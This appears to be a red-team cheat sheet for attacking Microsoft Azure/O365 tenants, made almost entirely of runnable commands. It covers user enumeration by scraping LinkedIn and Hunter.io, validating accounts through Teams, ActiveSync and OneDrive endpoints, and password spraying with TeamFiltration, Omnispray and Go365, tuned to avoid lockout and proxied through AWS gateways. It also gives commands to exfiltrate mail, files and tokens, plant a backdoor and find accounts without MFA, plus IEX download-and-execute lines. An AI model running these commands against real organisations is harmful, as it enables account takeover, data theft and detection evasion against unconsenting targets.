Azure - Password Spraying and MFA Bypass

Resources



Overview

Password Spraying tools and techniques for O365/Azure.

TenantID - Grab the TenantID using the company name
$comp = ""
# Using Invoke-WebRequest to call the OpenID Connect Discovery Endpoint
$oidcUrl = "https://login.microsoftonline.com/$comp/.well-known/openid-configuration"
$oidcResponse = Invoke-WebRequest -Uri $oidcUrl
# Convert JSON response to a PowerShell object
$oidcData = $oidcResponse.Content | ConvertFrom-Json

# Extract the tenant ID from the token_endpoint URL
if ($oidcData.token_endpoint -match "https://login\.microsoftonline\.com/(.+?)/oauth2/token") {
    $tenantId = $matches[1]
    Write-Output "Tenant ID: $tenantId"
} else {
    Write-Output "Tenant ID not found in the token_endpoint URL."
}

Download

Omnispray
git clone https://github.com/0xZDH/Omnispray
cd Omnispray
chmod +x omnispray.py
pip install -r requirements.txt
cd ..
Teamfiltration
mkdir teamfiltration
cd teamfiltration
iwr https://github.com/Flangvik/TeamFiltration/releases/download/v3.5.3/TeamFiltration-v3.5.3-win-x86_64.zip -o teamfiltration.zip
Expand-Archive teamfiltration.zip
cd teamfiltration
.\teamfiltration.exe

# Create Config, use your AWS keys to spin up API gateways to proxy requests. Can use dehashed key here, and need a sacrifical O365 account for certain features

$user = "test@testcorp.onmicrosoft.com"
$username = "test"
$domain = "testcorp.onmicrosoft.com"
$tenant = ""

# Enum - No user list
.\TeamFiltration.exe --outpath cartp --config cartp.json --enum --validate-teams --domain $domain

# Enum - Other Endpoints
    --dehashed            Use the dehashed submodule in order to enumerate emails from a basedomain
    --validate-msol       Validate that the given o365 accounts exists using the public GetCredentialType method (Very RateLimited / Slow 20 e/s)
    --validate-teams      Validate that the given o365 accounts exists using the Teams API method (Recommended - Super Fast 300 e/s)
    --validate-login      Validate that the given o365 accounts by attemping to login (Noisy - triggers logins - Fast 100 e/s)

# Enumeration w/ custom list
.\TeamFiltration.exe --outpath cartp --config cartp.json --usernames emails.txt --enum --validate-teams --domain $domain

# Spray with generated list of months and seasons
.\TeamFiltration.exe --outpath cartp --config cartp.json --spray --sleep-min 120 --sleep-max 200

# Spray with custom list
.\TeamFiltration.exe --outpath cartp --config cartp.json --spray --passwords $passwords --sleep-min 120 --sleep-max 200

# Exfil AAD, all=graph,owa,sharepoint,onedrive,teams
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --aad
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --all 

# Exfil auth tokens
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --tokens 

# Override creds to exfil
.\teamfiltration.exe --outpath cartp--exfil --all --username $user --password $password

# backdoor
.\teamfiltration.exe --outpath cartp --config cartp.json --backdoor

# Access Database
.\teamfiltration.exe --outpath cartp --config cartp.json --database

# Examples
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --spray --passwords Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --exfil --all
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --enum --validate-teams
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --enum --validate-msol --usernames emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --backdoor
--outpath C:\Clients\2023\FooBar\TFOutput  --config myCustomConfig.json --database
MSOLSpray
git clone https://github.com/dafthack/MSOLSpray
cd .\MOSLSpray
Import-Module .\MSOLSpray.ps1
cd ..
MFASweep
git clone https://github.com/dafthack/MFASweep
cd MFASWeep
Import-Module .\MFASweep.ps1
cd ..

DonkeyToken

git clone https://github.com/mellonaut/donkeytoken

# They have zero fucking documentation, here are all the functions
FunctionsToExport = @(
    'Connect-Azure','Connect-OfficePortal',
    'Connect-MicrosoftTasks', 'Connect-MyAnalytics',
    'Connect-OfficeCalendar', 'Connect-ToDo',
    'Connect-WhiteBoard','Invoke-MFATest','Read-JWTtoken',
    'ConvertTo-O365AccessToken','Get-TenantFromUser',
    'Get-MSAuthToken','Write-Information','Write-Warning','Write-Debug','Write-Verbose',
    'Write-Error', 'Get-TokenFromOfficePortal','Get-Cookies',
    'Get-TokenFromSharepointOnline','Connect-ExchangeEWS',
    'Get-PublicTenantInformation','Invoke-AuthorizeWithPKCE',
    'Invoke-O365Spray','Get-YammerMessages','Get-DelegationTokenFromAzurePortal',
    'Invoke-AuthorizeWithPKCEOrganizations','Get-TokenFromVivaInsights',
    'Get-TokenFromToDo','Get-DriveDataFromYammer','Get-SharePointFilesFromGraph',
    'Get-DriveDataFromYammer'
)
Credmaster
git clone https://github.com/knavesec/CredMaster.git
cd CredMaster
pip install -r requirements.txt
cd ..
FireProx
git clone https://github.com/ustayready/fireprox
cd fireprox
pip install -r requirements.txt
python fire.py

Enumeration Techniques

Find a single email with OSINT, validate Tenant is Managed
$domain = "corpomax.com"
$user = "jose"
Import-Module AADInternals

$tenant = Get-AADIntTenantID -domain $domain
Invoke-AADIntReconAsOutsider -domainName $domain
Get-AADIntLoginInformation -UserName $user@$domain



Finding Additional Users

Bridgekeeper - Scrape LinkedIn and Hunter.io for a user list
$domain = "corpomax.com"
$name = "Corpomax Holdings"
$hunterkey = "<HUNTER.IO API KEY>"

# omnispray for validation
git clone https://github.com/0xZDH/Omnispray
cd Omnispray
chmod +x ./omnispray.py
pip install -r requirements.txt
cd ..

# Bridgekeeper for LinkedIn / Web scraping
git clone https://github.com/0xZDH/BridgeKeeper
cd BridgeKeeper
chmod +x ./bridgekeeper.py
pip install -r requirements.txt

# Scrape LinkedIn
./bridgekeeper.py --company "$domain" --format {f}.{last}@$domain --depth 20 --output $domain-employees

# Scrape Hunter.io w/ an API key
./bridgekeeper.py --company "$name" --domain $domain --api $hunterkey--depth 20 --output $domain-hunter

# Convert Usernames file into emails
$domain = "domain.com"
$names = Get-Content -Path "./'$domain'_names_202403112321.txt"
$outputFilePath = "emails.txt"
$outputFile = [System.IO.StreamWriter]::new($outputFilePath)
foreach ($name in $names) {
    # Split the first and last names
    $parts = $name -split ' '
    $firstName = $parts[0]
    $lastName = $parts[1]

    # Construct the email address
    $email = "$($firstName.Substring(0,1))$lastName@$domain".ToLower()

    # Output the email address
    Write-Output $email >> newemails.txt
}

$scraped = "./newemails.txt"
cp $scraped ../Omnispray
cd ../Omnispray

# Validate against O365
python3 ./omnispray.py --type enum -uf $scraped --module o365_enum_office

# Transform existing list of users into whatever format you need
bridgekeeper.py --names names.txt --format {f}{last}@$domain --output discovered-employees.txt

Validate the list with different tools

$scraped = "..\discovered-employees.txt"

# omnispray enumerate using o365 office module
python3 omnispray.py --type enum -uf $scraped --module o365_enum_office

# omnispray enumerate using o365 active sync
python3 omnispray.py --type enum -uf $scraped --module o365_enum_activesync

# omnispray enumerate using o365 Onedrive
python3 omnispray.py --type enum -uf $scraped --module o365_enum_onedrive

# Teamfiltration using the teams endpoint
.\Teamfiltration.exe --enum --validate-teams --usernames $scraped --outpath .\teamfiltration\ --config .\custom.json

# Teamfiltration connect to DB to show emails, run 'show emails'
.\Teamfiltration.exe --database --outpath .\teamfiltration\ --config .\custom.json

# Teamfiltration using statistaclly likely usernames generated by tool 
.\TeamFiltration.exe --outpath hailmary --config custom.json --enum --validate-teams --domain $domain



Spraying

Teamfiltration - Spraying Valid Users, Exfil AAD, connect to DB. Will attempt to determine 2FA
# Spray common passwords with default settings
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json

# OPSec considerate version
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json --sleep-min 120 --sleep-max 220 --shuffle-users --shuffle-regions

# Add exfiltration of AAD data
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json --sleep-min 120 --sleep-max 220 --shuffle-users --shuffle-regions

# connect to DB to show creds
.\Teamfiltration.exe --database --outpath .\teamfiltration\ --config .\custom.json

show emails
show creds
Omnispray - Run 3 sprays against the ActiveSync endpoint before resetting the 40 minute lockout timer
# ActiveSync Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_activesync --count 3 --lockout 40

# ADFS Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_adfs --count 3 --lockout 40

# MSOL Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_msol --count 3 --lockout 40

# use it with FireProx
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_activesync --count 3 --lockout 40 --proxy-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Go365 - Spray Weird SOAP Endpoint
wsl wget https://github.com/optiv/Go365/releases/download/v2.0/Go365_2.0_Linux_x86_64.tar.gz
wsl tar -xvf Go365_2.0_Linux_x86_64.tar.gz
wsl ./Go365

# single password
echo "twilliams" > usernamesonly.txt
wsl export 
wsl ./Go365 -endpoint rst -ul ./usernamesonly.txt -p 'coolpasswordbro!123' -d $domain -delay 3600 -w 20 -o Go365output.txt 

# combolist
wsl ./Go365 -endpoint rst -up ./userpass_list.txt -d $domain -delay 3600 -w 20 -o Go365output.txt  
# -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login

# FireProx, create Gateway and store the Url in $url
python fire.py --command create --url https://login.microsoftonline.com/rst2.srf --region us-east-1
$url = ""
$password= ""
$domain = ""
wsl ./Go365 -endpoint rst -u; ./emails.txt -p $password -d $domain -delay 3600 -w 20 -o Go365output.txt --url  $url



Testing Known Valid Creds for MFA

MSOLSpray - Validate Creds - Check if password is valid using quiet endpoint, does not trigger MFA push
iwr https://raw.githubusercontent.com/dafthack/MSOLSpray/master/MSOLSpray.ps1 -o MSOLSpray.ps1
Import-Module .\MSOLSpray.ps1

$pasword = Read-Host
Invoke-MSOLSpray -UserList .\userlist.txt -Password $password -OutFile valid.txt
MFASweep - Validate 2Fa - Further Test Validated Creds for Single-Factor Logon (make sure it’s valid, will lockout otherwise)
IEX (iwr 'https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1')

$domain = "$domain"
$newuser = "jamir.oquai"
$knowngood = "$password"
Invoke-MFASweep -Username $newuser@$domain -Password $knowngood
DonkeyToken - Test MFA
git clone https://github.com/silverhack/donkeytoken
cd donkeytoken
ipmo .\donkeytoken.psd1

# TenantID
$comp = ""
# Using Invoke-WebRequest to call the OpenID Connect Discovery Endpoint
$oidcUrl = "https://login.microsoftonline.com/$comp/.well-known/openid-configuration"
$oidcResponse = Invoke-WebRequest -Uri $oidcUrl
# Convert JSON response to a PowerShell object
$oidcData = $oidcResponse.Content | ConvertFrom-Json

# Extract the tenant ID from the token_endpoint URL
if ($oidcData.token_endpoint -match "https://login\.microsoftonline\.com/(.+?)/oauth2/token") {
    $tenantId = $matches[1]
    Write-Output "Tenant ID: $tenantId"
} else {
    Write-Output "Tenant ID not found in the token_endpoint URL."
}

# Test MFA Bypass
$cred = Get-Credential
$Sleep = "1"
Invoke-MFATest -credential $cred -Sleep $sleep -TenantId $tenantId -Verbose -Debug -InformationAction Continue

# Investigate Service
Connect-ToDo -Credential $cred
Connect-OfficePortal -Credential $cred
Connect-Azure -Credential $cred